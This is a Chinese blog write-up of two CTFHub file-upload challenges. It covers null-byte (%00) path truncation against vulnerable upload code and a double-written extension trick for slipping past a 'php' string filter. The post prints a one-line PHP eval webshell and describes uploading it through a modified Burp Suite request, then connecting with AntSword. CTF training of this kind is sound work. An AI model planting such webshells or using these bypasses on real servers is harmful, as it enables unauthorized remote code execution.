Fork me on GitHub

CTFHub题解-技能树-Web-文件上传(00截断、双写后缀)【三】

CTFHub题解-技能树-Web-Web工具配置-文件上传
 
 
本文记录  00截断 和 双写后缀  的题解~
 
 
(一) 00截断
 
1.知识点
 
 0x00 , %00 , /00 之类的截断,都是一样的,只是不同表示而已。
在url中 %00 表示ascll码中的 0  ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束。
 
比如:
 https://xxx.com/upload/?filename=test.txt      此时输出的是test.txt 
 
加上 %00 
 https://xxx.com/upload/?filename=test.php%00.txt    此时输出的是test.php 
这样就绕过了后缀限制,可以上传webshell啦~
 
注:php版本要 小于5.3.4 ,5.3.4及以上已经修复该问题
 
 
2.题解
 
 
 
 
 
 
 
先看一下源码:
 
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];                //首先取到上传文件的扩展名$ext
    $whitelist = array("jpg", "png", "gif");   //将扩展名与白名单进行匹配,为jpg、png或gif才能通过第一次过滤
    if (in_array($ext, $whitelist)) {
        $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;   //扩展名匹配之后,为上传的文件构造了一个新的存储路径$des
        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            echo "<script>alert('上传成功')</script>";
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}
 

 

(笔者参考了ggb0n大佬的wp)
 
根据代码可知:
 
 $des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext; 

 

 
这里用了 rand()函数 ,这是正常上传图片的存储路径,后缀是通过匹配 $ext 的,我们自己上传的一句话木马就是php啦~
构造$des的时候,首先取的是road参数的内容 /var/www/html/upload/ 存储路径后面要加一个php后缀的文件名,然后利用%00进行截断,这样上传文件的内容就存到了我们上传的php文件里。
 
 
 000.php 的文件内容:
 
 <?php @eval($_POST['pass']);?> 
 
用burpsuite抓个包~
改包,修改成类似红色框框部分。
 
发送到 repeater 模块
 
 
测试一下是否可以访问~
 
 
 
用中国蚁剑连接吧~
 
 
 
 
 
 
这是另一种改包方法:
 
用 burpsuite 抓包,改包~
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
(二)双写后缀
 
1.知识点
 
  用于只将文件后缀名,例如"php"字符串过滤的场合;
    例如:
      上传时将 Burpsuite 截获的数据包中文件名【123.php】改为【123.p php hp】,那么过滤了第一个"php"字符串"后,开头的'p'和结尾的'hp'就组合又形成了【123.php】。
 
 
 
2.题解
 
 
 
 
 
 
双写绕过~
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
完成啦~
 
 
 
参考资料:
 
http://ggb0n.cool/2020/03/03/CTFHub部分记录/#题目分析
https://blog.csdn.net/qq_26090065/article/details/81458937
 
 
 
posted @ 2020-03-20 10:57  0yst3r  阅读(4905)  评论(0编辑  收藏  举报
返回顶部